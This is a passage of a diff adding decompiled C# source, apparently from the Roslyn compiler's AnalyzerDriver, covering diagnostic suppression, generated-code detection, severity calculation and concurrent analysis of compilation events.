addCategorizedLocalDiagnostic, addCategorizedNonLocalDiagnostic, delegate(Suppression s) + { + _programmaticSuppressions.Add(s); + }); + Initialize(analyzerExecutor, diagnosticQueue, compilationData, analysisScope, suppressedDiagnosticIds, cancellationToken); + } + + private SemaphoreSlim? GetAnalyzerGate(DiagnosticAnalyzer analyzer) + { + if (AnalyzerGateMap.TryGetValue(analyzer, out SemaphoreSlim value)) + { + return value; + } + return null; + } + + private ImmutableHashSet ComputeNonConfigurableAnalyzers(ImmutableHashSet unsuppressedAnalyzers, CancellationToken cancellationToken) + { + ImmutableHashSet.Builder builder = ImmutableHashSet.CreateBuilder(); + foreach (DiagnosticAnalyzer unsuppressedAnalyzer in unsuppressedAnalyzers) + { + ImmutableArray.Enumerator enumerator2 = AnalyzerManager.GetSupportedDiagnosticDescriptors(unsuppressedAnalyzer, AnalyzerExecutor, cancellationToken).GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current.IsNotConfigurable()) + { + builder.Add(unsuppressedAnalyzer); + break; + } + } + } + return builder.ToImmutableHashSet(); + } + + private ImmutableHashSet ComputeSymbolStartAnalyzers(ImmutableHashSet unsuppressedAnalyzers) + { + ImmutableHashSet.Builder builder = ImmutableHashSet.CreateBuilder(); + ImmutableArray.Enumerator enumerator = AnalyzerActions.SymbolStartActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SymbolStartAnalyzerAction current = enumerator.Current; + if (unsuppressedAnalyzers.Contains(current.Analyzer)) + { + builder.Add(current.Analyzer); + } + } + return builder.ToImmutableHashSet(); + } + + private static bool ComputeShouldSkipAnalysisOnGeneratedCode(ImmutableHashSet analyzers, ImmutableSegmentedDictionary generatedCodeAnalysisFlagsMap, bool treatAllCodeAsNonGeneratedCode) + { + foreach (DiagnosticAnalyzer analyzer in analyzers) + { + if (!ShouldSkipAnalysisOnGeneratedCode(analyzer, generatedCodeAnalysisFlagsMap, treatAllCodeAsNonGeneratedCode)) + { + return false; + } + } + return true; + } + + private static bool ComputeShouldTreatAllCodeAsNonGeneratedCode(ImmutableHashSet analyzers, ImmutableSegmentedDictionary generatedCodeAnalysisFlagsMap) + { + foreach (DiagnosticAnalyzer analyzer in analyzers) + { + GeneratedCodeAnalysisFlags num = generatedCodeAnalysisFlagsMap[analyzer]; + bool flag = (num & GeneratedCodeAnalysisFlags.Analyze) != 0; + bool flag2 = (num & GeneratedCodeAnalysisFlags.ReportDiagnostics) != 0; + if (!flag || !flag2) + { + return false; + } + } + return true; + } + + private bool ShouldSkipAnalysisOnGeneratedCode(DiagnosticAnalyzer analyzer) + { + return ShouldSkipAnalysisOnGeneratedCode(analyzer, GeneratedCodeAnalysisFlagsMap, TreatAllCodeAsNonGeneratedCode); + } + + private static bool ShouldSkipAnalysisOnGeneratedCode(DiagnosticAnalyzer analyzer, ImmutableSegmentedDictionary generatedCodeAnalysisFlagsMap, bool treatAllCodeAsNonGeneratedCode) + { + if (treatAllCodeAsNonGeneratedCode) + { + return false; + } + return (generatedCodeAnalysisFlagsMap[analyzer] & GeneratedCodeAnalysisFlags.Analyze) == 0; + } + + private bool ShouldSuppressGeneratedCodeDiagnostic(Diagnostic diagnostic, DiagnosticAnalyzer analyzer, Compilation compilation, CancellationToken cancellationToken) + { + if (TreatAllCodeAsNonGeneratedCode) + { + return false; + } + if ((GeneratedCodeAnalysisFlagsMap[analyzer] & GeneratedCodeAnalysisFlags.ReportDiagnostics) == 0) + { + return IsInGeneratedCode(diagnostic.Location, compilation, cancellationToken); + } + return false; + } + + internal async Task AttachQueueAndProcessAllEventsAsync(AsyncQueue eventQueue, AnalysisScope analysisScope, CancellationToken cancellationToken) + { + try + { + if (_initializeSucceeded) + { + _lazyCompilationEventQueue = eventQueue; + _lazyQueueRegistration = default(CancellationTokenRegistration); + await ExecutePrimaryAnalysisTaskAsync(analysisScope, usingPrePopulatedEventQueue: true, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + _lazyPrimaryTask = Task.FromResult(result: true); + } + } + finally + { + if (_lazyPrimaryTask == null) + { + _lazyPrimaryTask = Task.FromCanceled(new CancellationToken(canceled: true)); + } + } + } + + internal void AttachQueueAndStartProcessingEvents(AsyncQueue eventQueue, AnalysisScope analysisScope, bool usingPrePopulatedEventQueue, CancellationToken cancellationToken) + { + try + { + if (_initializeSucceeded) + { + _lazyCompilationEventQueue = eventQueue; + _lazyQueueRegistration = cancellationToken.Register(delegate + { + CompilationEventQueue.TryComplete(); + DiagnosticQueue.TryComplete(); + }); + _lazyPrimaryTask = ExecutePrimaryAnalysisTaskAsync(analysisScope, usingPrePopulatedEventQueue, cancellationToken).ContinueWith((Task c) => DiagnosticQueue.TryComplete(), cancellationToken, TaskContinuationOptions.ExecuteSynchronously, TaskScheduler.Default); + } + } + finally + { + if (_lazyPrimaryTask == null) + { + _lazyPrimaryTask = Task.FromCanceled(new CancellationToken(canceled: true)); + DiagnosticQueue.TryComplete(); + } + } + } + + private async Task ExecutePrimaryAnalysisTaskAsync(AnalysisScope analysisScope, bool usingPrePopulatedEventQueue, CancellationToken cancellationToken) + { + await WhenInitializedTask.ConfigureAwait(continueOnCapturedContext: false); + if (WhenInitializedTask.IsFaulted) + { + OnDriverException(WhenInitializedTask, AnalyzerExecutor, analysisScope.Analyzers, cancellationToken); + } + else if (!WhenInitializedTask.IsCanceled) + { + await ProcessCompilationEventsAsync(analysisScope, usingPrePopulatedEventQueue, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + _ = usingPrePopulatedEventQueue; + } + } + + private static void OnDriverException(Task faultedTask, AnalyzerExecutor analyzerExecutor, ImmutableArray analyzers, CancellationToken cancellationToken) + { + Exception ex = faultedTask.Exception?.InnerException; + if (ex != null && !(ex is OperationCanceledException)) + { + Diagnostic arg = Microsoft.CodeAnalysis.Diagnostics.AnalyzerExecutor.CreateDriverExceptionDiagnostic(ex); + DiagnosticAnalyzer arg2 = analyzers[0]; + analyzerExecutor.OnAnalyzerException(ex, arg2, arg, cancellationToken); + } + } + + private void ExecuteSyntaxTreeActions(AnalysisScope analysisScope, CancellationToken cancellationToken) + { + if (analysisScope.IsSingleFileAnalysis && !analysisScope.IsSyntacticSingleFileAnalysis) + { + return; + } + ImmutableArray.Enumerator enumerator = analysisScope.SyntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTree current = enumerator.Current; + bool flag = IsGeneratedCode(current, cancellationToken); + SourceOrAdditionalFile file = new SourceOrAdditionalFile(current); + if (flag && DoNotAnalyzeGeneratedCode) + { + continue; + } + ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)>.Enumerator enumerator2 = _lazySyntaxTreeActions.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (analyzer, syntaxTreeActions) = enumerator2.Current; + if (analysisScope.Contains(analyzer)) + { + cancellationToken.ThrowIfCancellationRequested(); + AnalyzerExecutor.ExecuteSyntaxTreeActions(syntaxTreeActions, analyzer, file, analysisScope.FilterSpanOpt, flag, cancellationToken); + } + } + } + } + + private void ExecuteAdditionalFileActions(AnalysisScope analysisScope, CancellationToken cancellationToken) + { + if (analysisScope.IsSingleFileAnalysis && !analysisScope.IsSyntacticSingleFileAnalysis) + { + return; + } + ImmutableArray.Enumerator enumerator = analysisScope.AdditionalFiles.GetEnumerator(); + while (enumerator.MoveNext()) + { + AdditionalText current = enumerator.Current; + SourceOrAdditionalFile file = new SourceOrAdditionalFile(current); + ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)>.Enumerator enumerator2 = _lazyAdditionalFileActions.GetEnumerator(); + while (enumerator2.MoveNext()) + { + var (analyzer, additionalFileActions) = enumerator2.Current; + if (analysisScope.Contains(analyzer)) + { + cancellationToken.ThrowIfCancellationRequested(); + AnalyzerExecutor.ExecuteAdditionalFileActions(additionalFileActions, analyzer, file, analysisScope.FilterSpanOpt, cancellationToken); + } + } + } + } + + public static AnalyzerDriver CreateAndAttachToCompilation(Compilation compilation, ImmutableArray analyzers, AnalyzerOptions options, AnalyzerManager analyzerManager, Action addExceptionDiagnostic, bool reportAnalyzer, SeverityFilter severityFilter, bool trackSuppressedDiagnosticIds, out Compilation newCompilation, CancellationToken cancellationToken) + { + Action onAnalyzerException = delegate(Exception ex, DiagnosticAnalyzer analyzer, Diagnostic diagnostic) + { + addExceptionDiagnostic?.Invoke(diagnostic); + }; + Func analyzerExceptionFilter = null; + return CreateAndAttachToCompilation(compilation, analyzers, options, analyzerManager, onAnalyzerException, analyzerExceptionFilter, reportAnalyzer, severityFilter, trackSuppressedDiagnosticIds, out newCompilation, cancellationToken); + } + + internal static AnalyzerDriver CreateAndAttachToCompilation(Compilation compilation, ImmutableArray analyzers, AnalyzerOptions options, AnalyzerManager analyzerManager, Action onAnalyzerException, Func? analyzerExceptionFilter, bool reportAnalyzer, SeverityFilter severityFilter, bool trackSuppressedDiagnosticIds, out Compilation newCompilation, CancellationToken cancellationToken) + { + AnalyzerDriver analyzerDriver = compilation.CreateAnalyzerDriver(analyzers, analyzerManager, severityFilter); + newCompilation = compilation.WithSemanticModelProvider(new CachingSemanticModelProvider()).WithEventQueue(new AsyncQueue()); + bool categorizeDiagnostics = false; + CompilationWithAnalyzersOptions analysisOptions = new CompilationWithAnalyzersOptions(options, onAnalyzerException, concurrentAnalysis: true, reportAnalyzer, reportSuppressedDiagnostics: false, analyzerExceptionFilter); + AnalysisScope analysisScope = AnalysisScope.CreateForBatchCompile(newCompilation, options, analyzers); + analyzerDriver.Initialize(newCompilation, analysisOptions, new CompilationData(newCompilation), analysisScope, categorizeDiagnostics, trackSuppressedDiagnosticIds, cancellationToken); + analyzerDriver.AttachQueueAndStartProcessingEvents(newCompilation.EventQueue, analysisScope, usingPrePopulatedEventQueue: false, cancellationToken); + return analyzerDriver; + } + + public async Task> GetDiagnosticsAsync(Compilation compilation, CancellationToken cancellationToken) + { + DiagnosticBag allDiagnostics = DiagnosticBag.GetInstance(); + if (CompilationEventQueue.IsCompleted) + { + await WhenCompletedTask.ConfigureAwait(continueOnCapturedContext: false); + if (WhenCompletedTask.IsFaulted) + { + OnDriverException(WhenCompletedTask, AnalyzerExecutor, Analyzers, cancellationToken); + } + } + SuppressMessageAttributeState suppressMessageAttributeState = CurrentCompilationData.SuppressMessageAttributeState; + bool reportSuppressedDiagnostics = compilation.Options.ReportSuppressedDiagnostics; + Diagnostic d; + while (DiagnosticQueue.TryDequeue(out d)) + { + d = suppressMessageAttributeState.ApplySourceSuppressions(d); + if (reportSuppressedDiagnostics || !d.IsSuppressed) + { + allDiagnostics.Add(d); + } + } + return allDiagnostics.ToReadOnlyAndFree(); + } + + public ImmutableArray<(DiagnosticDescriptor Descriptor, DiagnosticDescriptorErrorLoggerInfo Info)> GetAllDiagnosticDescriptorsWithInfo(CancellationToken cancellationToken, out double totalAnalyzerExecutionTime) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + ImmutableHashSet immutableHashSet = SuppressedAnalyzersForTreeMap.SelectMany>, DiagnosticAnalyzer>((KeyValuePair> kvp) => kvp.Value).ToImmutableHashSet(); + totalAnalyzerExecutionTime = AnalyzerExecutionTimes.Sum>((KeyValuePair kvp) => kvp.Value.TotalSeconds); + ArrayBuilder<(DiagnosticDescriptor, DiagnosticDescriptorErrorLoggerInfo)> instance2 = ArrayBuilder<(DiagnosticDescriptor, DiagnosticDescriptorErrorLoggerInfo)>.GetInstance(); + ImmutableArray.Enumerator enumerator = Analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + ImmutableArray supportedDiagnosticDescriptors = AnalyzerManager.GetSupportedDiagnosticDescriptors(current, AnalyzerExecutor, cancellationToken); + bool flag = !UnsuppressedAnalyzers.Contains(current) || immutableHashSet.Contains(current); + double num = 0.0; + if (AnalyzerExecutionTimes.TryGetValue(current, out var value)) + { + num = value.TotalSeconds; + } + int executionPercentage = (int)(num * 100.0 / totalAnalyzerExecutionTime); + ImmutableArray.Enumerator enumerator2 = supportedDiagnosticDescriptors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DiagnosticDescriptor current2 = enumerator2.Current; + if (instance.Add(current2.Id)) + { + bool hasAnyExternalSuppression = flag || SuppressedDiagnosticIdsForUnsuppressedAnalyzers.Contains(current2.Id); + ImmutableHashSet effectiveSeverities = GetEffectiveSeverities(current2, AnalyzerExecutor.Compilation, AnalyzerExecutor.AnalyzerOptions, cancellationToken); + DiagnosticDescriptorErrorLoggerInfo item = new DiagnosticDescriptorErrorLoggerInfo(num, executionPercentage, effectiveSeverities, hasAnyExternalSuppression); + instance2.Add((current2, item)); + } + } + } + instance.Free(); + return instance2.ToImmutableAndFree(); + static ImmutableHashSet GetEffectiveSeverities(DiagnosticDescriptor descriptor, Compilation compilation, AnalyzerOptions analyzerOptions, CancellationToken cancellationToken2) + { + ReportDiagnostic reportDiagnostic = (descriptor.IsEnabledByDefault ? DiagnosticDescriptor.MapSeverityToReport(descriptor.DefaultSeverity) : ReportDiagnostic.Suppress); + if (descriptor.IsNotConfigurable()) + { + return ImmutableHashSet.Create(reportDiagnostic); + } + if (!compilation.Options.SpecificDiagnosticOptions.TryGetValue(descriptor.Id, out var value2)) + { + SyntaxTreeOptionsProvider? syntaxTreeOptionsProvider = compilation.Options.SyntaxTreeOptionsProvider; + if (syntaxTreeOptionsProvider == null || !syntaxTreeOptionsProvider.TryGetGlobalDiagnosticValue(descriptor.Id, cancellationToken2, out value2)) + { + goto IL_0067; + } + } + if (value2 != ReportDiagnostic.Default) + { + reportDiagnostic = value2; + } + goto IL_0067; + IL_0067: + if (reportDiagnostic == ReportDiagnostic.Warn && compilation.Options.GeneralDiagnosticOption == ReportDiagnostic.Error) + { + reportDiagnostic = ReportDiagnostic.Error; + } + SyntaxTreeOptionsProvider syntaxTreeOptionsProvider2 = compilation.Options.SyntaxTreeOptionsProvider; + if (syntaxTreeOptionsProvider2 == null || compilation.SyntaxTrees.IsEmpty()) + { + return ImmutableHashSet.Create(reportDiagnostic); + } + ImmutableHashSet.Builder builder = ImmutableHashSet.CreateBuilder(); + foreach (SyntaxTree syntaxTree in compilation.SyntaxTrees) + { + ReportDiagnostic item2 = reportDiagnostic; + if (syntaxTreeOptionsProvider2.TryGetDiagnosticValue(syntaxTree, descriptor.Id, cancellationToken2, out value2) || analyzerOptions.TryGetSeverityFromBulkConfiguration(syntaxTree, compilation, descriptor, cancellationToken2, out value2)) + { + if (value2 == ReportDiagnostic.Warn && compilation.Options.GeneralDiagnosticOption == ReportDiagnostic.Error) + { + value2 = ReportDiagnostic.Error; + } + item2 = value2; + } + builder.Add(item2); + } + return builder.ToImmutable(); + } + } + + private SemanticModel GetOrCreateSemanticModel(SyntaxTree tree) + { + return GetOrCreateSemanticModel(tree, AnalyzerExecutor.Compilation); + } + + protected SemanticModel GetOrCreateSemanticModel(SyntaxTree tree, Compilation compilation) + { + return SemanticModelProvider.GetSemanticModel(tree, compilation); + } + + public void ApplyProgrammaticSuppressions(DiagnosticBag reportedDiagnostics, Compilation compilation, CancellationToken cancellationToken) + { + if (_hasDiagnosticSuppressors) + { + ImmutableArray diagnostics = ApplyProgrammaticSuppressionsCore(reportedDiagnostics.ToReadOnly(), compilation, cancellationToken); + reportedDiagnostics.Clear(); + reportedDiagnostics.AddRange(diagnostics); + } + } + + public ImmutableArray ApplyProgrammaticSuppressions(ImmutableArray reportedDiagnostics, Compilation compilation, CancellationToken cancellationToken) + { + if (reportedDiagnostics.IsEmpty || !_hasDiagnosticSuppressors) + { + return reportedDiagnostics; + } + return ApplyProgrammaticSuppressionsCore(reportedDiagnostics, compilation, cancellationToken); + } + + private ImmutableArray ApplyProgrammaticSuppressionsCore(ImmutableArray reportedDiagnostics, Compilation compilation, CancellationToken cancellationToken) + { + try + { + IEnumerable enumerable = reportedDiagnostics.Where((Diagnostic d) => !d.IsSuppressed && !d.IsNotConfigurable() && d.DefaultSeverity != DiagnosticSeverity.Error && !_diagnosticsProcessedForProgrammaticSuppressions.Contains(d)); + if (enumerable.IsEmpty()) + { + return reportedDiagnostics; + } + executeSuppressionActions(enumerable, compilation.Options.ConcurrentBuild); + if (_programmaticSuppressions.IsEmpty) + { + return reportedDiagnostics; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(reportedDiagnostics.Length); + ImmutableDictionary immutableDictionary = createProgrammaticSuppressionsByDiagnosticMap(_programmaticSuppressions); + ImmutableArray.Enumerator enumerator = reportedDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + Diagnostic current = enumerator.Current; + if (immutableDictionary.TryGetValue(current, out var value)) + { + Diagnostic item = current.WithProgrammaticSuppression(value); + instance.Add(item); + } + else + { + instance.Add(current); + } + } + return instance.ToImmutableAndFree(); + } + finally + { + _diagnosticsProcessedForProgrammaticSuppressions.AddRange(reportedDiagnostics); + } + static ImmutableDictionary createProgrammaticSuppressionsByDiagnosticMap(ConcurrentSet programmaticSuppressions) + { + PooledDictionary.Builder> instance2 = PooledDictionary.Builder>.GetInstance(); + ConcurrentSet.KeyEnumerator enumerator2 = programmaticSuppressions.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Suppression current2 = enumerator2.Current; + if (!instance2.TryGetValue(current2.SuppressedDiagnostic, out var value2)) + { + value2 = ImmutableHashSet.CreateBuilder<(string, LocalizableString)>(); + instance2.Add(current2.SuppressedDiagnostic, value2); + } + value2.Add((current2.Descriptor.Id, current2.Descriptor.Justification)); + } + ImmutableDictionary.Builder builder = ImmutableDictionary.CreateBuilder(); + foreach (var (key, builder3) in instance2) + { + builder.Add(key, new ProgrammaticSuppressionInfo(builder3.ToImmutable())); + } + return builder.ToImmutable(); + } + void executeSuppressionActions(IEnumerable enumerable3, bool concurrent) + { + IEnumerable enumerable2 = Analyzers.OfType(); + if (concurrent) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + try + { + foreach (DiagnosticSuppressor suppressor in enumerable2) + { + ImmutableArray suppressableDiagnostics = getSuppressableDiagnostics(suppressor); + if (!suppressableDiagnostics.IsEmpty) + { + Task item2 = Task.Run(delegate + { + AnalyzerExecutor.ExecuteSuppressionAction(suppressor, suppressableDiagnostics, cancellationToken); + }, cancellationToken); + instance2.Add(item2); + } + } + Task.WaitAll(instance2.ToArray(), cancellationToken); + return; + } + finally + { + instance2.Free(); + } + } + foreach (DiagnosticSuppressor item3 in enumerable2) + { + AnalyzerExecutor.ExecuteSuppressionAction(item3, getSuppressableDiagnostics(item3), cancellationToken); + } + } + ImmutableArray getSuppressableDiagnostics(DiagnosticSuppressor suppressor) + { + ImmutableArray supportedSuppressionDescriptors = AnalyzerManager.GetSupportedSuppressionDescriptors(suppressor, AnalyzerExecutor, cancellationToken); + if (supportedSuppressionDescriptors.IsEmpty) + { + return ImmutableArray.Empty; + } + using TemporaryArray temporaryArray = TemporaryArray.Empty; + foreach (Diagnostic diagnostic in P_1.reportedDiagnostics) + { + if (supportedSuppressionDescriptors.Contains((SuppressionDescriptor s) => s.SuppressedDiagnosticId == diagnostic.Id)) + { + temporaryArray.Add(diagnostic); + } + } + return temporaryArray.ToImmutableAndClear(); + } + } + + public ImmutableArray DequeueLocalDiagnosticsAndApplySuppressions(DiagnosticAnalyzer analyzer, bool syntax, Compilation compilation, CancellationToken cancellationToken) + { + ImmutableArray diagnostics = (syntax ? DiagnosticQueue.DequeueLocalSyntaxDiagnostics(analyzer) : DiagnosticQueue.DequeueLocalSemanticDiagnostics(analyzer)); + return FilterDiagnosticsSuppressedInSourceOrByAnalyzers(diagnostics, compilation, cancellationToken); + } + + public ImmutableArray DequeueNonLocalDiagnosticsAndApplySuppressions(DiagnosticAnalyzer analyzer, Compilation compilation, CancellationToken cancellationToken) + { + ImmutableArray diagnostics = DiagnosticQueue.DequeueNonLocalDiagnostics(analyzer); + return FilterDiagnosticsSuppressedInSourceOrByAnalyzers(diagnostics, compilation, cancellationToken); + } + + private ImmutableArray FilterDiagnosticsSuppressedInSourceOrByAnalyzers(ImmutableArray diagnostics, Compilation compilation, CancellationToken cancellationToken) + { + diagnostics = FilterDiagnosticsSuppressedInSource(diagnostics, compilation, CurrentCompilationData.SuppressMessageAttributeState); + return ApplyProgrammaticSuppressionsAndFilterDiagnostics(diagnostics, compilation, cancellationToken); + } + + private static ImmutableArray FilterDiagnosticsSuppressedInSource(ImmutableArray diagnostics, Compilation compilation, SuppressMessageAttributeState suppressMessageState) + { + if (diagnostics.IsEmpty) + { + return diagnostics; + } + bool reportSuppressedDiagnostics = compilation.Options.ReportSuppressedDiagnostics; + ImmutableArray.Builder builder = ImmutableArray.CreateBuilder(); + for (int i = 0; i < diagnostics.Length; i++) + { + Diagnostic diagnostic = suppressMessageState.ApplySourceSuppressions(diagnostics[i]); + if (reportSuppressedDiagnostics || !diagnostic.IsSuppressed) + { + builder.Add(diagnostic); + } + } + return builder.ToImmutable(); + } + + internal ImmutableArray ApplyProgrammaticSuppressionsAndFilterDiagnostics(ImmutableArray reportedDiagnostics, Compilation compilation, CancellationToken cancellationToken) + { + if (reportedDiagnostics.IsEmpty) + { + return reportedDiagnostics; + } + ImmutableArray immutableArray = ApplyProgrammaticSuppressions(reportedDiagnostics, compilation, cancellationToken); + if (compilation.Options.ReportSuppressedDiagnostics || immutableArray.All((Diagnostic d) => !d.IsSuppressed)) + { + return immutableArray; + } + return immutableArray.WhereAsArray((Diagnostic d) => !d.IsSuppressed); + } + + private bool IsInGeneratedCode(Location location, Compilation compilation, CancellationToken cancellationToken) + { + if (!location.IsInSource) + { + return false; + } + if (IsGeneratedOrHiddenCodeLocation(location.SourceTree, location.SourceSpan, cancellationToken)) + { + return true; + } + if (_lazyGeneratedCodeAttribute != null) + { + ImmutableHashSet immutableHashSet = getOrComputeGeneratedCodeSymbolsInTree(location.SourceTree, compilation, cancellationToken); + if (immutableHashSet.Count > 0) + { + SemanticModel semanticModel = compilation.GetSemanticModel(location.SourceTree); + for (SyntaxNode syntaxNode = location.SourceTree.GetRoot(cancellationToken).FindNode(location.SourceSpan, findInsideTrivia: false, getInnermostNodeForTie: true); syntaxNode != null; syntaxNode = syntaxNode.Parent) + { + ImmutableArray.Enumerator enumerator = semanticModel.GetDeclaredSymbolsForNode(syntaxNode, cancellationToken).GetEnumerator(); + while (enumerator.MoveNext()) + { + ISymbol current = enumerator.Current; + if (immutableHashSet.Contains(current)) + { + return true; + } + } + } + } + } + return false; + static ImmutableHashSet computeGeneratedCodeSymbolsInTree(SyntaxTree tree, Compilation compilation2, INamedTypeSymbol generatedCodeAttribute, CancellationToken cancellationToken2) + { + GeneratedCodeTokenWalker generatedCodeTokenWalker = new GeneratedCodeTokenWalker(cancellationToken2); + generatedCodeTokenWalker.Visit(tree.GetRoot(cancellationToken2)); + if (!generatedCodeTokenWalker.HasGeneratedCodeIdentifier) + { + return ImmutableHashSet.Empty; + } + SemanticModel semanticModel2 = compilation2.GetSemanticModel(tree); + TextSpan fullSpan = tree.GetRoot(cancellationToken2).FullSpan; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + semanticModel2.ComputeDeclarationsInSpan(fullSpan, getSymbol: true, instance, cancellationToken2); + ImmutableHashSet.Builder builder = null; + ArrayBuilder.Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ISymbol declaredSymbol = enumerator2.Current.DeclaredSymbol; + if (declaredSymbol != null && GeneratedCodeUtilities.IsGeneratedSymbolWithGeneratedCodeAttribute(declaredSymbol, generatedCodeAttribute)) + { + if (builder == null) + { + builder = ImmutableHashSet.CreateBuilder(); + } + builder.Add(declaredSymbol); + } + } + instance.Free(); + if (builder == null) + { + return ImmutableHashSet.Empty; + } + return builder.ToImmutable(); + } + ImmutableHashSet getOrComputeGeneratedCodeSymbolsInTree(SyntaxTree tree, Compilation compilation2, CancellationToken cancellationToken2) + { + ImmutableHashSet value; + lock (GeneratedCodeSymbolsForTreeMap) + { + if (GeneratedCodeSymbolsForTreeMap.TryGetValue(tree, out value)) + { + return value; + } + } + value = computeGeneratedCodeSymbolsInTree(tree, compilation2, _lazyGeneratedCodeAttribute, cancellationToken2); + lock (GeneratedCodeSymbolsForTreeMap) + { + if (!GeneratedCodeSymbolsForTreeMap.TryGetValue(tree, out ImmutableHashSet _)) + { + GeneratedCodeSymbolsForTreeMap.Add(tree, value); + } + } + return value; + } + } + + private bool IsAnalyzerSuppressedForTree(DiagnosticAnalyzer analyzer, SyntaxTree tree, SyntaxTreeOptionsProvider? options, CancellationToken cancellationToken) + { + if (!SuppressedAnalyzersForTreeMap.TryGetValue(tree, out ImmutableHashSet value)) + { + value = SuppressedAnalyzersForTreeMap.GetOrAdd(tree, ComputeSuppressedAnalyzersForTree(tree, options, cancellationToken)); + } + return value.Contains(analyzer); + } + + private ImmutableHashSet ComputeSuppressedAnalyzersForTree(SyntaxTree tree, SyntaxTreeOptionsProvider? options, CancellationToken cancellationToken) + { + if (options == null) + { + return ImmutableHashSet.Empty; + } + ImmutableHashSet.Builder builder = null; + foreach (DiagnosticAnalyzer unsuppressedAnalyzer in UnsuppressedAnalyzers) + { + if (NonConfigurableAnalyzers.Contains(unsuppressedAnalyzer) || ((SymbolStartAnalyzers.Contains(unsuppressedAnalyzer) || CompilationEndAnalyzers.Contains(unsuppressedAnalyzer)) && !ShouldSkipAnalysisOnGeneratedCode(unsuppressedAnalyzer))) + { + continue; + } + ImmutableArray supportedDiagnosticDescriptors = AnalyzerManager.GetSupportedDiagnosticDescriptors(unsuppressedAnalyzer, AnalyzerExecutor, cancellationToken); + bool flag = false; + ImmutableArray.Enumerator enumerator2 = supportedDiagnosticDescriptors.GetEnumerator(); + while (enumerator2.MoveNext()) + { + DiagnosticDescriptor current2 = enumerator2.Current; + ReportDiagnostic reportDiagnostic = current2.GetEffectiveSeverity(AnalyzerExecutor.Compilation.Options); + if (options.TryGetDiagnosticValue(tree, current2.Id, cancellationToken, out var severity) || options.TryGetGlobalDiagnosticValue(current2.Id, cancellationToken, out severity)) + { + reportDiagnostic = severity; + } + if (!current2.IsEnabledByDefault && reportDiagnostic == ReportDiagnostic.Default) + { + reportDiagnostic = ReportDiagnostic.Suppress; + } + if (reportDiagnostic != ReportDiagnostic.Suppress) + { + flag = true; + break; + } + } + if (!flag) + { + if (builder == null) + { + builder = ImmutableHashSet.CreateBuilder(); + } + builder.Add(unsuppressedAnalyzer); + } + } + if (builder == null) + { + return ImmutableHashSet.Empty; + } + return builder.ToImmutable(); + } + + internal TimeSpan ResetAnalyzerExecutionTime(DiagnosticAnalyzer analyzer) + { + return AnalyzerExecutor.ResetAnalyzerExecutionTime(analyzer); + } + + private static ImmutableArray<(DiagnosticAnalyzer, ImmutableArray>)> MakeSymbolActionsByKind(in AnalyzerActions analyzerActions) + { + ArrayBuilder<(DiagnosticAnalyzer, ImmutableArray>)> instance = ArrayBuilder<(DiagnosticAnalyzer, ImmutableArray>)>.GetInstance(); + IEnumerable> enumerable = from action in analyzerActions.SymbolActions + group action by action.Analyzer; + ArrayBuilder> instance2 = ArrayBuilder>.GetInstance(); + foreach (IGrouping item2 in enumerable) + { + instance2.Clear(); + foreach (SymbolAnalyzerAction item3 in item2) + { + ImmutableArray.Enumerator enumerator3 = item3.Kinds.Distinct().GetEnumerator(); + while (enumerator3.MoveNext()) + { + int current3 = (int)enumerator3.Current; + if (current3 <= 100) + { + while (current3 >= instance2.Count) + { + instance2.Add(ArrayBuilder.GetInstance()); + } + instance2[current3].Add(item3); + } + } + } + ImmutableArray> item = instance2.Select((ArrayBuilder a) => a.ToImmutableAndFree()).ToImmutableArray(); + instance.Add((item2.Key, item)); + } + instance2.Free(); + return instance.ToImmutableAndFree(); + } + + private static ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> MakeActionsByAnalyzer(in ImmutableArray analyzerActions) where TAnalyzerAction : AnalyzerAction + { + ArrayBuilder<(DiagnosticAnalyzer, ImmutableArray)> instance = ArrayBuilder<(DiagnosticAnalyzer, ImmutableArray)>.GetInstance(); + foreach (IGrouping item in from action in analyzerActions + group action by action.Analyzer) + { + instance.Add((item.Key, item.ToImmutableArray())); + } + return instance.ToImmutableAndFree(); + } + + private static ImmutableHashSet MakeCompilationEndAnalyzers(ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)> compilationEndActionsByAnalyzer) + { + ImmutableHashSet.Builder builder = ImmutableHashSet.CreateBuilder(); + ImmutableArray<(DiagnosticAnalyzer, ImmutableArray)>.Enumerator enumerator = compilationEndActionsByAnalyzer.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer item = enumerator.Current.Item1; + builder.Add(item); + } + return builder.ToImmutable(); + } + + private async Task ProcessCompilationEventsAsync(AnalysisScope analysisScope, bool prePopulatedEventQueue, CancellationToken cancellationToken) + { + try + { + CompilationCompletedEvent completedEvent = null; + if (analysisScope.ConcurrentAnalysis) + { + int workerCount = (prePopulatedEventQueue ? Math.Min(CompilationEventQueue.Count, _workerCount) : _workerCount); + Task[] workerTasks = new Task[workerCount]; + for (int i = 0; i < workerCount; i++) + { + workerTasks[i] = Task.Run(async () => await ProcessCompilationEventsCoreAsync(analysisScope, prePopulatedEventQueue, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + cancellationToken.ThrowIfCancellationRequested(); + Task task = (analysisScope.SyntaxTrees.Any() ? Task.Run(delegate + { + ExecuteSyntaxTreeActions(analysisScope, cancellationToken); + }, cancellationToken) : Task.CompletedTask); + Task task2 = (analysisScope.AdditionalFiles.Any() ? Task.Run(delegate + { + ExecuteAdditionalFileActions(analysisScope, cancellationToken); + }, cancellationToken) : Task.CompletedTask); + if (workerTasks.Length != 0 || task.Status != TaskStatus.RanToCompletion || task2.Status != TaskStatus.RanToCompletion) + { + await 